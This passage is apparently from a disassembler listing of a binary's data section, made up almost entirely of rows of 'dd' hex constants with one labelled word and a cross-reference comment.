50233E0Ah, 3C319CF5h dd 0BF80A2A5h, 0A73D6F15h, 3816E29Bh, 240042D0h, 18F4CB6Eh dd 0DE1B0047h, 81AA07B1h, 0A2591937h, 0D20B0020h, 0D46BAD28h dd 2E3FFC12h, 0B90FC3h, 3096C5C2h, 4C01D989h, 4641D1D2h dd 0F1D8C13Ah, 0D3092ECFh, 5F90749h, 2F35E74h, 979F8D40h dd 17773858h, 762E2800h, 4BE7CB8Bh, 4CEA00A9h, 0DF3D3086h dd 650739D6h, 4E31131Bh, 0C912431h, 13384860h, 0C07CA743h dd 5181B200h, 2F5AA100h, 72609345h, 0C74B0095h, 2EFBDD50h dd 0F2E08A40h, 8B0DDE38h, 2019303Ch, 0BAA05D80h, 0E5257E9Ah dd 0CE1F3F0h, 21B9F46Eh, 94A92AD8h, 7420CE87h, 147D1613h dd 0ECAB2063h, 112D5500h, 0D3058EF2h, 0AC48D06h, 384E96h dd 58DF7451h, 0E08513FEh, 14EAE87Dh, 60C7E2F8h, 0D7B01292h dd 0FFD229h, 3A691897h, 36BC0AF5h, 4F491D04h, 0F4C0AE50h dd 5097EB88h, 16A69842h, 7E94565h, 70C29FDCh, 0B8A10BFAh dd 830F9D12h, 643440A1h, 0D9F100B4h, 0ED3AF045h, 0D0002A16h dd 86F68115h, 0A1C603h, 0CFC46AE2h, 6D2BDB77h, 8D35602h dd 80D44E2Ah, 1370CDB8h, 0E7B73C68h, 14805580h, 8837F8C8h dd 9D6D9100h, 469CD06Ch, 5FE50024h, 764AFBD4h, 64EE9733h dd 97F3F00h, 0C8D0C5F9h, 583107DCh, 0D37EE734h, 0D7C85B89h dd 1002EE3h, 742D7FDFh, 0F9D6F2h, 6EA317A2h, 0D90F7C11h dd 35DCA00h, 0A19C8743h, 0EC7EC2Dh, 0DF074B65h, 4D6FF640h dd 0ED33EB85h, 0D034B80Dh, 7FABA7Bh, 7DBFD284h, 2B8650D5h dd 0AC04F779h, 0B48F89EEh, 614C0981h, 0F3448ECh, 56B91AE3h dd 7E169C40h, 5A25F212h, 0C138416Ch, 104F1420h, 1F5C92Dh dd 66ACCA52h, 74C8C368h, 0D434120Ch, 4A0009Ah, 0B027B663h dd 3C008170h, 5C3ABD0h, 0B6E779D9h, 9E0F0B68h, 0E43BA800h dd 0AD48804Dh, 12200087h, 82BC9A83h, 0B90D2C2Dh, 0F41B1494h dd 0AE6CDB07h, 0E0BBF069h, 0AC4C12B2h, 0BAA10080h, 5A62D0FBh dd 0BFE0FFDh, 0A3C0CCB9h, 0AF56F4CAh, 0B6284B7Eh, 0D700D6ABh dd 0DC10D455h, 0EA7674C5h, 0DEAE1F4Dh, 6A1A80B3h, 36F8EAF0h dd 67E51803h, 0C0EFAF01h, 5C0F61h, 0A0E38D02h, 2703A2ABh dd 0E504B8B0h, 0FB1A0D1Fh, 4717811Eh, 208318F2h, 35053EE6h dd 19260867h, 0C14D0C0h, 763F01D3h, 82CDB5E4h, 244FC9B0h dd 4E0148E4h, 45FA7D62h, 6824D546h, 7B8B0E5h, 83ED9FB4h dd 0D387803Dh, 0DD4A41A7h, 919B7000h, 39436254h, 8048F673h dd 930CC300h, 3E89D1FFh, 2354860Fh, 6319E713h, 0E05F74h dd 9A67014h, 8DB0DFF9h, 0CA7DEC00h, 0FF0370EBh, 6D04A1FBh dd 80C4E1E9h, 75D496D1h, 9E30002Ah, 0B778E27Eh, 9714039Bh dd 12F1FAAAh, 0A4B0813Ah, 0DE73B5h, 7116326Bh, 22BCC6Fh dd 86AF6002h, 60E179CDh, 1905726h, 5CAA7B66h, 0F4F751C0h dd 941782D0h, 10C064AEh, 0FE38B7h, 0E1C7CCA2h, 0D7CE4835h dd 2D916E00h db 4, 1 word_4D4152 dw 0D40Bh ; DATA XREF: ___:off_42E644o dd 0ADC8016Ch, 44CFC90Dh, 430C2051h, 0DF309516h, 2F808C70h dd 199CA870h, 0CD5209F7h, 0C0429095h, 8A005878h, 0E1B49979h dd 59961B40h, 92000CEBh, 71A04F75h, 0F00B445Fh, 7FC215Ah dd 14E096A0h, 3F24660Dh, 6C8234B9h, 0E017F09Ch, 0E8A0C40h dd 6788BC00h, 0C905C2A5h, 283302F8h, 5F9B43CAh, 0BB3F88E0h dd 0CFA9E114h, 0A2D500B8h, 0C33213A5h, 0C13100B6h, 0D819DBD0h dd 0B4032DAEh, 0AE530ACh, 0BA6AC05Ah, 0F5260C98h, 270F31Dh dd 8E61DB00h, 9423114Ch, 1701EE49h, 69B8CBh, 6BA89EC0h dd 2F003965h, 5B4C9041h, 600FCDh, 0A185450Eh, 0E653ADF2h dd 5F1E3DF6h, 0A0C0B9F0h, 9A3F46E5h, 1DE70183h, 0C721B331h dd 7F9CF0CCh, 48E48B07h, 870A51Eh, 0C273A45h, 0D0D4CF4Eh dd 0E905D611h, 8371866Ah, 842EDD00h, 5182AAh, 0DD06B4B7h dd 8FEEB693h, 80DC833Bh, 0BE66915Eh, 0AA75F8h, 0D21C12B4h dd 0E0A45B7Ah, 0ED0158B8h, 5A379C2Eh, 30806558h, 0D4543A0Eh dd 0EA3D2426h, 0ECD6801Ah, 9C3F7CD1h, 389D00EBh, 0C86DF181h dd 0A003DCAh, 0CE33777h, 9590B9CEh, 2062B826h, 167A3Bh dd 3FA072Eh, 0A83A26h, 4B53C2E4h, 8F915FA7h, 9FE58C00h dd 0F3EB9082h, 1E547794h, 878E4ABCh, 0C01BF1B9h, 8A377B3Ah dd 1F7ED700h, 0F3BC4518h, 0ACE70EBBh, 242460B2h, 0A4F341h dd 86543DD6h, 5CFB04h, 571AD07Ah, 1EC25127h, 0F91DFD02h dd 0F1C485F1h, 0E8ED0994h, 34844800h, 1E03DB06h, 850F6EF8h dd 565FCA3Ah, 0D36600ACh, 0F30887F2h, 0A6AB2F01h, 4A01D45Ch dd 7B6169E8h, 30FB00F7h, 0E8C0B3A5h, 8FB8E9B2h, 4CCD2A1Ch dd 0E22FAC81h, 5C209C14h, 0BC5A5B2Bh, 0FA7C09A1h, 7E9400CFh dd 18A730ABh, 29B5D643h, 6B3F211Ah, 39587C8h, 2230691Dh dd 1D7F7B8Eh, 26FB06ACh, 561C1F44h, 0F87500D5h, 0FC4F0A8Ch dd 9D3AFD1Eh, 8475E840h, 0C02FFEBBh, 41B5B9A0h, 29691BE9h dd 2946010h, 3B1C5813h, 0BF1FC600h, 86FD8218h, 0DDCC4D00h dd 0F95ED499h, 839500F3h, 52237D9Dh, 0B0ECB387h, 8D649313h dd 0A40FB400h, 7E32EAh, 770EEB75h, 9D706930h, 547C4C1Fh dd 0A3FD8800h, 0AA8ABh, 0DA8E62B5h, 256138A4h, 0F41FCF2Eh dd 50C14C07h, 3F42D910h, 199E0071h, 0CC5C78B6h, 8800E9DAh dd 2152BA3Ch, 7FBAA17h, 0CAC6589Fh, 8BB806Bh, 304CBD89h dd 61DF0018h, 0CC2A3A95h, 44F50070h, 29721C8Eh, 76000E85h dd 0AC8469F0h, 2434C9ABh, 26F1A42h, 0D8E9DE39h, 5EECF868h dd 0D3AC6400h, 0AA6C7E79h, 19ED002Fh, 67FAA626h, 23004735h dd 900F5C33h, 7A07DDh, 16F3A46h, 7B9B1E2Ch, 0F1EA10C0h dd 7E221C37h, 0DC660F68h, 4B496ADAh, 0CB5E9287h, 1D87CE1h dd 1CF9A1B7h, 2677A9CCh, 80A8E2D9h, 8D80ECAFh, 4900A4F5h dd 4B03C60Fh, 67E92D24h, 4ED0B04Ch, 92CA04DCh, 13C4B88Fh dd 0B4CC794Ah, 344FCBEh, 0EEBBC353h, 5EF02D73h, 0DC30EA2Bh dd 746EF908h, 2F5B784Eh, 20221FE2h, 0C4D8EB18h, 0BF0DC600h dd 60C0EF89h, 46A1C098h, 1C93D545h, 57F19900h, 0E340EF10h dd 20BF6017h, 0A7CAC15h, 0BBEB1D00h, 50351FADh, 6EB80B4Ch dd 4180BF3Ch, 0CF40396Fh, 152D9C00h, 31EA6B5Eh, 0F7BE3F7Fh dd 261E4C8Ch, 40001418h, 0B88CDB5Fh, 6E06CDh, 857555B9h dd 0D5166B97h, 963A5000h, 62B1E6EDh, 3825604Bh, 6A12CD7Ch dd 4285B600h, 6B2CED98h, 8E3D0690h, 619DC84Bh, 9E2FF90Eh dd 53B72069h, 0AD5965h, 0A97E899Ch, 2671C374h, 4879C716h dd 0FE4BA2F0h, 37AC000Bh, 0CE584F1Fh, 7700D185h, 0AE0143BBh dd 370C2635h, 0E018B824h, 5EB6E770h, 20E050E8h, 76043303h dd 0EBD0CB69h, 2F63A086h, 0F2150799h, 80CDE1F1h, 9EC397B7h dd 7E5F93Fh, 0E7774625h, 343C7350h, 339C1ED1h, 0A1404024h dd 0CAFC7C30h, 681884A0h, 0C82C4E03h, 93590F69h, 3A5DC142h dd 4B892080h, 15FE7F2Eh, 4A33E907h, 2650982Fh, 70C0CFh dd 8B5C28D1h, 8491FD1Bh, 5800247Ch, 7D32D486h, 7B7FF7h dd 0FECEA628h, 4FBD3561h, 0B1031778h, 0B62D6346h, 4CFBD0A9h dd 4A3400F0h, 20C189A1h, 0BBE2C974h, 5D8FF600h, 3006D98Eh dd 1624010Dh, 0DE17077Fh, 0F0C44741h, 27739A92h, 3D077878h dd 30E78AE4h, 42DBA990h, 0E0E3FB4Ah, 74F6ECBCh, 0A039F086h dd 0EE8DFD1h, 0F5815214h, 59C13540h, 924C2A3h, 2D0010D6h dd 0AD3DACEEh, 395612BFh, 4C08009Bh, 0C96E0A57h, 62D80F00h dd 0BE59D3B6h, 653A07B9h, 0A5A899EAh, 609C008Fh, 68FB48F0h dd 8B2AD500h, 0EBE89E27h, 0FEC937E7h, 0F56E3020h, 8CF851BAh dd 4E79850Fh, 0B24C46BFh, 79F8F6C8h, 80280FC9h, 0F2E7ABE0h dd 65F5094h, 90281167h, 3204D42Dh, 165BEE4Bh, 0E9794090h dd 1AB61C7Ch, 7B9CC088h, 28A2F201h, 5FBEB109h, 53683025h dd 9C68245Ch, 0D2AF814Ch, 2023FB0Ch, 8B3F38C3h, 0B040BDBFh dd 0E96C319Bh, 12FFE42Eh, 4846E7B2h, 0B04CEFACh, 0EBEA00D2h dd 0B4C9137Dh, 926704F7h, 14F12761h, 4180774Bh, 0F6E5F119h dd 7500E1FCh, 984597BDh, 3986034Bh, 96806B2Eh, 3E4987D9h dd 5E00BD67h, 5924B7C9h, 0ECD60899h, 7E7F0733h, 40FF257Ah dd 276ABB2Eh, 0A900F475h, 0C9861AE2h, 28CBF907h, 0F8906526h dd 120C0016h, 20B42384h, 80541D6h, 53D35E8Ch, 0E0E9F383h dd 9084A58Ah, 93FA0740h, 26125A8h, 0B8405B31h, 0EB065407h dd 0ECB9CC89h, 909829h, 1AC4C796h, 0DD2030A0h, 0C2F2B492h dd 11F90C0Ah, 15BD841Dh, 1FD83FFDh, 0E0C06C9Bh, 0BE6BEA6Dh dd 2B0900Eh, 7EA25B0Dh, 0AC40FE73h, 5A00A006h, 0D2742AD3h dd 923C0B1Eh, 2309000h, 943834ABh, 76C0AF27h, 0F0AAABAh dd 0DC9A5156h, 33F08FBAh, 405CCED9h, 0DCF67DF8h, 8DD331E1h dd 603ED189h, 0AE24642Ah, 0FC0778E4h, 0D8DAB432h, 4ADCE71Ch dd 0A1C93BC6h, 0E8080021h, 8A44D706h, 0BF00EB4Dh, 88F6C7CAh dd 831445h, 97B24A99h, 0EA4FC4B7h, 8074303Ch, 0D65C3781h dd 11990DCh, 3FBAA485h, 0FF270645h, 0C8E151A8h, 7521D903h dd 0B7D133B4h, 0E3668B90h, 0DD8E0010h, 0AC771FB0h, 0DE01C63Ah dd 0A15E9098h, 0C1FCB668h, 0FEC0317h, 2AB832BAh, 38FEC2B8h dd 0A2890500h, 909A369Dh, 0B55B0056h, 2C8F27FBh, 5D790E83h dd 0AA007C98h, 57A2D2FCh, 1E8E1F97h, 925F5A72h, 59DB07A9h dd 8646A05Bh, 390E953Dh, 60F94E41h, 33E318F4h, 1B1E0036h dd 0C231DD5Ah, 318B64Bh, 0C136CF9Eh, 0FFE80080h, 179D12A9h dd 0FD00434Eh, 0EDBD7697h, 0CDB011h, 58A231E0h, 4E855C90h dd 0A0A5B604h, 508033F2h, 2088409h, 0E79A9C56h, 2D008F71h dd 3868DB2h, 0F40E7042h, 18018C09h, 0FA6F953Bh, 0FC30BEE8h dd 0CBB9205Fh, 0D200BA70h, 0FFD3F8C2h, 0F9AE4B5h, 346FCC7Bh dd 0C39380E0h, 0C616DB42h, 70015CF1h, 1D9657CFh, 901A7FE0h dd 64710028h, 0C8DC4D93h, 0B248E8CAh, 5DA6046Ch, 10909B18h dd 77DF542h, 9DB80A05h, 9E9A9366h, 5FFDEBF0h, 0D4EAA01h dd 9C06DBE2h, 0F77FECh, 290E12F9h, 449F9A2Fh, 59D65D00h dd 51FC2D20h, 0C75800B4h, 0E136EB60h, 5D004DC9h, 111F8D42h dd 4F5E409h, 53C7FE37h, 0B8BAC158h, 878F8DDh, 4E1E5200h dd 8D72D961h, 64E621h, 28364DA4h, 3AE6EECDh, 0A3A6FE00h dd 0F38DCEBBh, 1C203810h, 0B927B69Dh, 0F26BF000h, 0C346D585h dd 80665C00h, 0E16E2C3Eh dd 424903Ah, 0FC9A9720h, 1FC6075Dh, 0AEF40120h, 2E7200E3h dd 0C5D0B37Eh, 3D01F211h, 0E5CAA118h, 72DCA9E9h, 8466007Ah dd 0A79094B0h, 774CC9A3h, 2EED0AE6h, 0D388F8B7h, 0DC5C095Bh dd 0DFD72410h, 2C9A13FCh, 6B00AB7Eh, 1F020C0Dh, 0FEA815h dd 576D107Bh, 0EA45D09Ah, 0B5F5F90Bh, 40B10170h, 0C0FC3471h dd 54853F2Dh, 0E08AD080h, 0C92CEE36h, 0D4C3A900h, 30959966h dd 3919C323h, 0FEC04C43h, 0C404E629h, 0D4AC45E9h, 1A5B5CC0h dd 12755Fh, 0CB1907C8h, 0C4BB6759h, 9258700h, 0C6A7E6F8h dd 5E210080h, 0DBE56142h, 33249B3Fh, 978050A0h, 0C9F136ACh dd 576907FAh, 0F04990Fh, 253A2A80h, 4200F5C5h, 43D2A45Eh dd 0B8BE4E96h, 0EC8C0736h, 97DFC399h, 0BB5B50B2h, 760041E1h dd 0B421724Ah, 34A4B5h, 0F25CDD15h, 31547D77h, 0AE000971h dd 0E08F6D46h, 831333h, 18FAA556h, 312C5066h, 34A6E3Ah dd 0B94D6785h, 0BD58E88Bh, 7CD20098h, 630C3441h, 0F008574h dd 6E60129h, 96B66h, 4B04838Fh, 0C5151DF4h, 780D2700h dd 9B0A1CCDh, 0BB338C7h, 1FCFA282h, 2868D935h, 7A0BE2F2h dd 80256BC5h, 477582E4h, 0FCEB26BAh, 8F20F5h, 443DCDC3h dd 0AC686448h, 22EF3100h, 0A9B802D4h, 8B1F1F55h, 0CB8DC24Bh dd 8AC0DD9Bh, 0AF4C5F9Fh, 50050F30h, 4EEC65ADh, 957BF8D0h dd 0A2180461h, 0A0E98CA7h, 0AF00028Ch, 80FEA4F4h, 0FDA8FFh dd 0F671D77Ch, 0AC43EDC3h, 5703F9F8h, 9CE8919Fh, 6BE5C896h dd 3AAA0349h, 2D033336h, 23C1EB90h, 0DBD50900h, 0D6A75435h dd 17401BD3h, 8BE28151h, 0E8749FC0h, 84491300h, 8C3916F6h dd 81833125h, 0F0214B28h, 760B483Ch, 0A0C6ECDEh, 657E453Ch dd 30CF63B2h, 80A0F784h, 34009D75h, 0E61C4754h, 3981CE55h dd 0C705125Eh, 41C9DD39h, 84646120h, 9188467h, 0CA00D966h dd 587581ABh, 280F9C90h, 0C2A817F7h, 40BADACFh, 7861490Ah dd 0F9D8F7C8h, 0A3FC87h, 0D6A5C0ADh, 415C82E5h, 5EB1E601h dd 0DA06AC30h, 10565985h, 0B310D109h, 5EB88E1Fh, 848180EFh dd 0A012532Ch, 0A00CAD10h, 9869F81Ch, 0D17E00E9h, 3E705CF4h dd 110058BFh, 0CD73F645h, 1334828h, 0BAC95BD7h, 0EF44D217h dd 0B3F852EBh, 0E21C4F3Ah, 0C0CD8D09h, 4CCC1861h, 0A7A50062h dd 5E0170CCh, 0D2185F03h, 4A20F460h, 6CD94DB3h, 0F30C7000h dd 0CC579E4Fh, 0A80024E2h, 0DC78A39Ah, 3E229CDAh, 4286A672h dd 401880D2h, 5B3BDB1Eh, 7DEBE107h, 0B6E48780h, 0D528C379h dd 4FF58657h, 5EE04DC4h, 35DAA4DFh, 8F800854h, 0B221CB67h dd 3042898Ch, 5851FDE2h, 0C21870BAh, 9CD1CE88h, 0A4750765h dd 4620D4CCh, 880141C0h, 0CE71A755h, 3C245659h, 0E91B00D0h dd 5E80D1C0h, 0F2615870h, 0FB88C930h, 61081A7Eh, 3E006009h dd 8B25AF75h, 3D87FC1Dh, 0BBE8EA40h, 6D665B3h, 28E79F8Eh dd 9DE8C133h, 13E42C03h, 487DA7h, 57945F79h, 3666F6DBh dd 21088C1Ch, 1B8FCD80h, 38C7A932h, 9026819Bh, 0B3130EB8h dd 5E573898h, 157188A4h, 5D03BF78h, 20FC7570h, 0BB35C0B0h dd 17DC31C0h, 8ED4A581h, 9B2D31h, 5D991B3Dh, 0FDF804h dd 565888BCh, 44B84F1Eh, 0E2538E00h, 50ACF4FBh, 0CF2F06E6h dd 0B9497EB2h, 0D312EC00h, 0D4C6341Bh, 0A4DE07B8h, 0A28CCD57h dd 708356C9h, 8100DF35h, 7A51CCB2h, 0EE9B685Fh, 5EA0008Eh dd 34D2C49h, 29C0E035h, 16D0C74Ch, 0A9AE00E4h, 3A9FE223h dd 0B603806Bh, 94683856h, 827AC030h, 2C350954h, 8C21DD2Bh dd 0D0A30990h, 99002D96h, 4145E758h, 93600Eh, 899D9208h dd 0DEAC5C3Ch, 4CDBB53Fh, 5ACE05E0h, 0FC02DAB8h, 0C04FCDF1h dd 1E7EC9h, 191ADA4h, 49FCFDB4h, 0C9B8C50h, 894E6B01h dd 285B5AFBh, 0CDD8DD40h, 6EFE75B9h, 612E28F8h, 5D64AB80h dd 0FCF289B3h, 46419500h, 81996D0Ah, 616000F0h, 0B49E407h dd 0FA6359CDh, 38B52438h, 0CF009231h, 3F559917h, 0E305C5C2h dd 0C60968A9h, 0A637C6h, 24EEF5B0h, 355530D7h, 0C5A121Eh dd 0DDAF6840h, 0D1A58Dh, 549253C6h, 5B15A393h, 1CD9980Fh dd 0C8E680D7h, 728BDCBh, 59A22312h, 0FDDE71C0h, 7FF08B9Bh dd 7F787E6h, 0AA42B81h, 0A808F8h, 0C6A13930h, 377990B1h dd 0E01E3600h, 70957DF0h, 473A003Fh, 120318B3h, 5100F638h dd 0CEB4AB9Ch, 6DE7893h, 6B4FB98Bh, 18ECE88Dh, 0F0B08355h dd 80A8BB96h, 37008E38h, 80E93C16h, 2904BFh, 43DD3450h dd 1DEC5CADh, 31A24B00h, 413FF19Ch, 0BFB504A5h, 0AF586106h dd 51953580h, 459F066Ch, 18EBEC72h, 0CC9623Ah, 11EF1A83h dd 7F33384Bh, 54742301h, 9B0C525Fh, 9121D308h, 34C87F6Bh dd 634E0083h, 4C023FECh, 4A3C4FF2h, 4D2860D6h, 2DC5EDh dd 695776C9h, 5A9CD568h, 38476E00h, 582F460Ch, 0F3E418EBh dd 4A99906Ah, 0A9D41819h, 62E478B8h, 0A9666070h, 0A48E9A42h dd 87807D3Dh, 6C10E5B4h, 714E46h, 758D8160h, 7642AE16h dd 0BA20F401h, 46C7530Ch, 2DEBB880h, 0B2D6F93Eh, 185161C1h dd 108268A8h, 0CE8CACD3h, 37B4860h, 62292A00h, 9B113D07h dd 4C32005Ah, 0D3A204D5h, 0A3000C82h, 22092E08h, 733EC7Ch dd 0B729DD64h, 80708547h, 0B41DDB39h, 0BB152C00h, 79F211D4h dd 3B940036h, 0F362761Bh, 0E2511A52h, 0C7EFD7E4h, 9BFEA172h dd 0F23AE86Dh, 100F9C71h, 83333542h, 0B06A2C15h, 361D52Dh dd 59987263h, 0D8E8806Fh, 0BC5C7351h, 0C70400EFh, 1E4412Ah dd 0FC420094h, 46AAFE69h, 2900FB49h, 0B897E7CCh, 0DE2C37h dd 0C49A02F0h, 7A4DFA24h, 80C2D338h, 0BB1EAC55h, 0E47758h dd 97568202h, 55288F9h, 67B19900h, 0E7C8C271h, 78180058h dd 1169EFFDh, 6002C0A5h, 1ED9F473h, 5F7BC002h, 25370733h dd 503AEA61h, 26CBC22Fh, 6EE63618h, 0C6C158h, 0EF5AC539h dd 0ED351D31h, 0BDC4E200h, 932DFA02h, 0D05C0042h, 4983E482h dd 0CE0701C0h, 68B145CBh, 0D605F7B0h, 911900BBh, 0A82D292Fh dd 0E63DCD56h, 7E5200EEh, 0B4870BB7h, 0AA5E0031h, 0A3C821FEh dd 8B003706h, 0D201094Bh, 0FAFBA864h, 0D7E2002Dh, 8C1B4602h dd 760F14F8h, 0A0CAEBAEh, 7C86FAD4h, 925D00B7h, 48E5A0BAh dd 33004405h, 79A9601Bh, 40D8DEh, 0D690DCE0h, 0FA2FA58Fh dd 0C7BAD8A0h, 58940701h, 464BA40Bh, 2DB9C4h, 0C3919614h dd 0E6620845h, 0DBBA9000h, 6734CD3Eh, 0A9610222h, 0DD3721FDh dd 0E5569140h, 0E1EC9800h, 0C45A0A4Dh, 0CAF70018h, 7D67C825h dd 0FBFAAC0Eh, 0B7ED7E0Ah, 2800A81Ch, 2945843Eh, 6D7609h dd 265EDBC7h, 0C1D9F022h, 2033F00h, 819853B8h, 1CF80087h dd 115A9D06h, 0B6007B2Eh, 380941C6h, 79A86928h, 0AB97014Dh dd 0AD1526E0h, 4FA6F8D8h, 70259F30h, 3AE930CEh, 7B80BB5Eh dd 0BF514078h, 0A6011CF7h, 47E1FF6Bh, 97CC30AEh, 0C2A30768h dd 0B08B8EBEh, 5693EB82h, 61B8DEE0h, 820B783Eh, 3B2A9031h dd 42C080D0h, 9C367ECh, 0EF4D4E14h, 0FAA06400h, 0BF75999Dh dd 0C53D72ECh, 0AC1900A8h, 0C3DC32E6h, 8643019Fh, 31271834h dd 0DC1FFD30h, 9E70D336h, 0EEA38202h, 0E013A491h, 7796CEF4h dd 90F50083h, 0E967D1E7h, 0AE3DB933h, 0E255805Fh, 32BC6E8Ch dd 0B09D0F8Bh, 65C6A9DDh, 0A4298142h, 0B009C41h, 8FE32DB4h dd 565158B7h, 0BD795C00h, 1FB818EEh, 1CA348h, 5D4FA2D9h dd 8863CAh, 851AB9BBh dd 4E035208h, 0CE00977Ch, 0C0C9299Bh, 72BA46h, 0DB0B9334h dd 94964FEh, 0B60088ECh, 3C40ACE1h, 18D5276Ch, 60A759C0h dd 530CEA91h, 10A88D39h, 0A311098Fh, 5420AEA4h, 918782C4h dd 3D4C0F00h, 0C206675Bh, 0ED3200F7h, 0A12C412Fh, 7C909B8Bh dd 2BC8100h, 38C32887h, 0D66E00D7h, 1EE4DDE8h, 0C17F5EF8h dd 6400ED7Dh, 4BEC187Ah, 79A81285h, 0AC9831h, 0CB710D5Eh dd 0B359E162h, 0C18A0100h, 0E491C4DFh, 6D111EC9h, 40068974h dd 0DC28C4D4h, 0C1541C00h, 0E4046020h, 2DDF00BBh, 2F790297h dd 549AD6D0h, 7B30FE02h, 623B7C35h, 8814874Ch, 0DA6399C0h dd 0F1D20C17h, 0B611A92Bh, 6F725101h, 0A6B564E2h, 0B8FB6C80h dd 54147B55h, 28B30A30h, 58CA15h, 0F08F5D84h, 0F1BA5A42h dd 48BB1900h, 0A9E537C9h, 5C8A000Dh, 0C332F408h, 0D60133A3h dd 216987A6h, 0FD15203h, 58BFC120h, 3C003715h, 0B0866712h dd 0DAF15B21h, 7A23B0A3h, 9A89B1E3h, 0C7A82026h, 0BB0B2970h dd 0F194F7h, 0CE3E5B00h, 583B6017h, 0BBDE9E08h, 0E720E014h dd 422E77C4h, 0C31C6F4Ch, 447B837Fh, 0C0703FE5h, 0ADFEA5h dd 770BF1FFh, 0BC4352C8h, 6C00FC98h, 0DA606A42h, 3CF0A22Dh dd 54034BC6h, 97335B25h, 7787A100h, 0E0164965h, 3A07004Dh dd 0DBBFCC8Ah, 0C61F20D5h, 9BC21C5Dh, 0E1F3BEBBh, 6EE861D8h dd 0DC1800DBh, 2BFD5B50h, 0D7007299h, 0E34702FBh, 1F163Bh dd 0A1FEADB8h, 9307D6E5h, 198F11DFh, 8D53402Eh, 0C3DD39h dd 2C47E622h, 0ED34C730h, 3571DF04h, 0CCD10D99h, 0C26008C0h dd 0A4603AFh, 519FC190h, 0D62B5CA1h, 6EEBA087h, 35BD44h dd 0C31BD646h, 0BB07008Dh, 2F57A0B0h, 0FB009281h, 44D1C033h dd 77E8E3C1h, 9EBC019Ch, 3A8778D6h, 430F319Bh, 47E71C00h dd 103271D4h, 72FDE4FAh, 81623501h, 0DC5DE352h, 63A8C4h dd 8069DE5Fh, 0A34C4A4Bh, 0FEE2BE00h, 0FB5C171h, 4DE93E38h dd 407BD880h, 0D717F753h, 0FFCAFA01h, 780DD88h, 7A81FD0h dd 0F73E719Ah, 0E1212036h, 621F565Dh, 2800C5Ah, 96FFBCAh dd 0B4EA0625h, 0A6A62FD6h, 399DD8FDh, 86E9F300h, 0A4A7B88h dd 594F0068h, 56CA4110h, 460CE7D0h, 1EA29A14h, 12720B5Ah dd 0FE007931h, 0F3C778CBh, 1C7A7B00h, 0B9AD8646h, 59D90020h dd 4570BC97h, 9F902516h, 6712DDFEh, 9E018D2Eh, 36FED109h dd 100D7DBh, 0F26C8B7Fh, 760F0023h, 3D528008h, 9CE8EC65h dd 0D4F2AA00h, 94C4678Eh, 6114002Fh, 4D46F6ACh, 3D00104Eh dd 0A191BD73h, 706FF4E7h, 9778003Eh, 3F497D04h, 7F0E2B36h dd 8023794Eh, 4D9A391Eh, 2D730066h, 0D6C5D3DFh, 0A0009584h dd 0F4114858h, 0EA6BEB8h, 479D781Dh, 10C46B20h, 0E1000927h dd 0AC8A9326h, 2B76421h, 0EF7DA63Fh, 0F860BDB1h, 5D011B98h dd 8428485Eh, 0DDC3034h, 21FE4CBh, 0CE199F6Dh, 0B6E02F60h dd 0ECFCE379h, 0D6DE7200h, 0CF71D11Dh, 0D35C0735h, 40E9B82Bh dd 52D74C3Ch, 66670D17h, 2ADB2043h, 370A686h, 9744D415h dd 0A3A0BC75h, 0A17C0BBFh, 22187767h, 0B220C7C1h, 0AF111840h dd 81950369h, 8E440C06h, 0D1189FA0h, 687DD700h, 0BF91C105h dd 5C73793Bh, 4401FE2Ah, 0DBB8C6F2h, 0C72447C7h, 830CC71Ch dd 99006406h, 0B8CEF217h, 1AA6D7D3h, 40CA2521h, 0D0D04416h dd 0B63E1D44h, 0F369603Dh, 3C825Eh, 987316EBh, 85FF275Ah dd 7683C900h, 0B05EB75Bh, 0DAA00029h, 716482A8h, 8509D033h dd 0D0ADAB31h, 1D691E9Eh, 0B4FC0072h, 797B4329h, 5BD92D1Dh dd 25C0075Ch, 8353494Ch, 0D02C00BCh, 0E225859h, 78481965h dd 734D07B2h, 544095FBh, 7918698Ah, 466300A0h, 0AD2ADAA2h dd 0B100C9C3h, 5C40E276h, 0E4146654h, 0E3530020h, 0AF3606DCh dd 603A4177h, 0C64D80C7h, 350ECEABh, 0B246001Ah, 80D4E8C0h dd 8003BA1h, 747199B3h, 28956Ah, 0CD41D6E0h, 0FEB757A8h dd 0A748BD00h, 6555F6E4h, 67F30017h, 4E0690CAh, 2A0339FFh dd 976088AFh, 14F1B015h, 1E000D3h, 731386EAh, 2400DD65h dd 5564A4F7h, 9695D71h, 0E1EF150h, 0E563E882h, 1000C242h dd 0F1514D49h, 2C98D8A8h, 3A20580Ch, 1A11BCh, 6544B20Eh dd 3B862F96h, 33B6263Ah, 0E0C4211Ch, 14715B2h, 0D6857AE9h dd 40126EE6h, 0C1DD4B20h, 3418ABFEh, 4378809Eh, 840D0131h dd 54D1F16Dh, 68B180C6h, 70F04B92h, 1290C098h, 44096745h dd 1940AE48h, 0C508460Bh, 4BFC34h, 0D5107D55h, 6EF720FFh dd 426219C0h, 34D09Bh, 176CAA7Ah, 9821E31Eh, 65BA5700h dd 87371DFFh, 60743B13h, 0BDC62580h, 0AE780DAAh, 8B2B0500h dd 0EB623971h, 9B9900CCh, 8E753A48h, 13FD1C8h, 86DA0138h dd 965589ABh, 0A8C3D8h, 27BE466Eh, 0E325BC29h, 386A700h dd 1331F7F4h, 1D830077h, 15E8F3Ah, 1E0010F3h, 5DDDB682h dd 0E84EC0h, 755AA4FAh, 25DAB8D6h, 0A2696D0Eh, 24340017h dd 0E73379Ah, 2779F6CBh, 57B489h, 32784104h, 0ECE30005h dd 1AA8728h, 180C61CDh, 185E1DE5h, 0A29000AEh, 0B0D6FF9Bh dd 90B57D0h, 0D6A8A0A9h, 616A0020h, 6047C95Eh, 0BCF218C0h dd 164F3103h, 1908E7F4h, 30066105h, 5E009477h, 1C899CE0h dd 66E93Bh, 75391811h, 0EEA8C691h, 63EEAE0h, 7701747Ch dd 29C3E0A3h, 0A03BEC0Bh, 0FE019124h, 0D7DBE170h, 0A980F584h dd 52964CEDh, 8D008F47h, 426EEB6Dh, 7C5EE6Bh, 77D8EC23h dd 3028765Eh, 0F1DF1101h, 6B32BC85h, 4090A19Ch, 0D4E619E9h dd 627777A8h, 247A9700h, 7CEA7B69h, 0A7553FE2h, 0DF8F5600h dd 663C9CE3h, 30FA0AFCh, 0A9541B05h, 84005EE7h, 9FF7DE6Fh dd 876400E9h, 186785C6h, 86E9E3DBh, 0D7E035E6h, 2D5E0078h dd 8A37846Bh, 1E006247h, 4A67F752h, 9C8360h, 0F4B0B468h dd 3A692672h, 8EF0423Dh, 97C0C5h, 0E7436C39h, 0CC76024Eh dd 0CDAED994h, 0D2410483h, 